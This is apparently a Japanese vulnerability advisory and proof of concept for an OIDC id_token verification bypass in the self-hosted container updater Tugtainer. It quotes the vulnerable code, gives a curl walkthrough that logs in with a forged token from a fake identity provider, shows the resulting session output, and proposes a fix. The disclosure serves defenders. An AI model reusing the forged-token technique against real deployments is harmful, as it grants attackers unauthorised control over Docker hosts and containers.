
PoC — Tugtainer において OIDC id_token が署名/audience/有効期限の検証なしで受理される (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1)。
CVEステータス: リクエスト済み、割り当て待ち。この脆弱性は GHSA-crjc-6vc7-xrfh として公開されています。CVEが割り当てられ次第、このリポジトリは
CVE-YYYY-NNNNN-tugtainer-PoCに改名され、このバナーはCVEリンクに置き換えられます。
| 研究者 | Dostxodjayev Abdullox (@squeeze440) |
| アドバイザリ | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (High) |
| 脆弱性 | CWE-347 |
Quenary/tugtainer (コミット 3138226) の backend/modules/auth/providers/auth_oidc_provider.py にあるOIDC認証プロバイダーにおいて、暗号署名の検証が不適切であるため、tugtainerバックエンドと設定されたOIDCプロバイダー間のトークン交換レスポンスを制御または傍受できる位置にいる攻撃者(例: ネットワークMITMの位置、侵害された/悪意のあるIDプロバイダー、またはその経路上のDNS/TLS終端の侵害)が、任意の id_token を偽造し、GET /api/auth/oidc/callback を介して任意のIDに対して完全に認証された管理者相当のtugtainerセッションを取得できます。
Quenary/tugtainer — Web UI、エージェント/バックエンドアーキテクチャを備えたセルフホスト型Dockerコンテナ自動更新ツール。
コミット 31382268bf16df32f33316fe4d601ad1635871d4 (リポジトリのデフォルトブランチ、2026-08-05にクローン)。
8.1 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (AC:L ではない): 悪用は単純な未認証のネットワークリクエストではありません。攻撃者がサーバー間のコード交換中に トークンエンドポイント がバックエンドに返す内容を制御する必要があります — 現実的にはtugtainerバックエンドと実際のIdP間のMITMの位置、またはバックエンドが信頼するよう設定された侵害された/悪意のあるIdPです。これは真の、自明ではない前提条件であるため、AC:L ではなく AC:H が使用されています。UI:N: 攻撃者がそのネットワーク位置を確保すれば、被害者の操作は不要です — 攻撃者はログインフロー全体を自分で実行できます (以下のPoCで確認済み、curl でエンドツーエンドで実行)。C:H/I:H/A:H: 結果として得られるセッションは完全で無制限のtugtainerセッションであり (OIDC IDに対するRBAC/許可リストは存在しません — 詳細を参照)、すべてのコンテナ/ホスト管理エンドポイントにアクセスできます: すべてのDockerホストとコンテナの一覧表示/読み取り、コンテナの起動/停止/強制終了/削除、イメージのプル、および (ホストで ALLOW_HOOKS/ALLOW_EXEC が有効な場合) コンテナ内でのコマンド実行。S:U: 影響はtugtainer自身の認可境界内にとどまります (攻撃者は認証されたtugtainerユーザーになる); 別途認可されたコンポーネントへのスコープ変更としては扱われません。backend/modules/auth/providers/auth_oidc_provider.py、メソッド _exchange_oidc_code (267–331行目)、具体的には299–306行目:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) はJWTペイロードをbase64デコードしますが、署名、exp/iat、または aud/iss をチェックしません — これはOpenID Connect Core 1.0 §3.1.3.7がID Tokenを信頼する前にRPに要求する内容の正反対です。開発者自身のコメント (「本番環境では推奨されない」) は、これが意図的な設計上の選択ではなく、既知のショートカットであったことを裏付けています。
結果として得られるクレームは、追加のチェックなしでそのままセッション作成に流れ込みます:
callback() (137行目) は _exchange_oidc_code() を呼び出し、次に _create_oidc_user_session() (333行目) を呼び出します。これは検証されていないクレームから直接 email/sub/preferred_username (341–345行目) を取り出し、_set_cookies() を介して本物の署名済みtugtainer access_token/refresh_token JWT Cookie (HttpOnly、SameSite=strict) を発行します。backend/ 内でallowlist/allowed-emailパターンを grep しても何も返りません) — (検証されていない) クレームにある sub/email が新しいセッションのIDとなり、他のログインユーザーと同じアクセス権を持ちます (tugtainerは単一のフラットな信頼レベルで、ユーザーごとのRBACはありません)。aud と iss が決してチェックされないため、同じIdPの完全に無関係なクライアントに対して発行されたID Token — または以下で示すように、無効/不一致の署名と既に期限切れの exp を持つもの — も、正当なものと同様に受け入れられます。これは OIDC_ENABLED=true (管理者によるオプトイン) の場合にのみ到達可能であるため、デフォルトのパスワードのみのデプロイには影響しません。
このコミットからビルドされた実際のアプリケーション (docker build -f Dockerfile.app) に対して動的に検証され、公開イメージではなくプレーンな docker run で以下を指定して実行:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
最小限の偽OIDCプロバイダー (evidence/fake_idp.py、このエンゲージメントフォルダに保管) は有効なディスカバリドキュメントを提供し、POST /token では常に、RPがチェックすべきあらゆる点で意図的に無効な id_token を返します:
aud = "totally-wrong-client-id-not-tugtainers" (OIDC_CLIENT_ID と一致しない)exp = 1時間前 (既に期限切れ)手順 (実際のコマンド、実際の出力、両方のコンテナをローカルで実行):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
デコードされた access_token ペイロード (この「ユーザー」に対してtugtainer自身のJWT署名者によって発行されたもの):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
その後、保護されたエンドポイントに対してセッションがライブで確認されました:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
偽IdP自身のログは、返した正確な偽造トークンを確認しています:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
PoCヘルパー: evidence/fake_idp.py (このレポートと一緒に保管)。
スクリーンショットは含まれていません — これはブラウザ/UIコンポーネントを持たないサーバー間APIバイパスであり、キャプチャするものはありません; 上記の curl トランスクリプトが実際の、未修正のコマンド/レスポンス証拠です。
tugtainerバックエンドが行うOIDCトークン交換呼び出しのレスポンスに影響を与えることができる攻撃者 (そのネットワーク経路上のMITM、悪意のある/侵害されたIdP、またはバックエンドとIdP間のDNS/TLS終端の侵害) は、任意のIDとして完全に有効で無制限のtugtainerセッションを発行できます — 実際のユーザーの資格情報を知る必要も、正当なユーザーからの操作も不要です。tugtainerにはユーザーごとのRBACがないため、そのセッションは完全なアプリケーションアクセスを持ちます: 登録されたすべてのDockerホストとコンテナの列挙、コンテナの起動/停止/強制終了/削除、イメージのプル/タグ付け、および (ALLOW_HOOKS/エージェント ALLOW_EXEC が有効な場合) コンテナ内でのコマンド実行。
aud/iss/exp チェックの欠如)_exchange_oidc_code において、jwt.get_unverified_claims(token["id_token"]) を検証付きデコードに置き換えます: ディスカバリドキュメントからIdPの jwks_uri を取得し、kid で署名鍵を解決し、jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) を呼び出します (python-joseはこれらすべてをサポートしています)。これにより、OIDC Core仕様に従って署名、exp/iat/nbf、aud、および iss が強制されます。他のアプリケーションとIdPを共有するデプロイ向けに、受け入れられる email/sub 値のオプションの許可リストを追加することも検討してください。
Dostxodjayev Abdullox (GitHub: squeeze440)
Quenary/tugtainer のGitHub Security Advisory / Private Vulnerability Reporting (PVRが有効であることを確認済み)。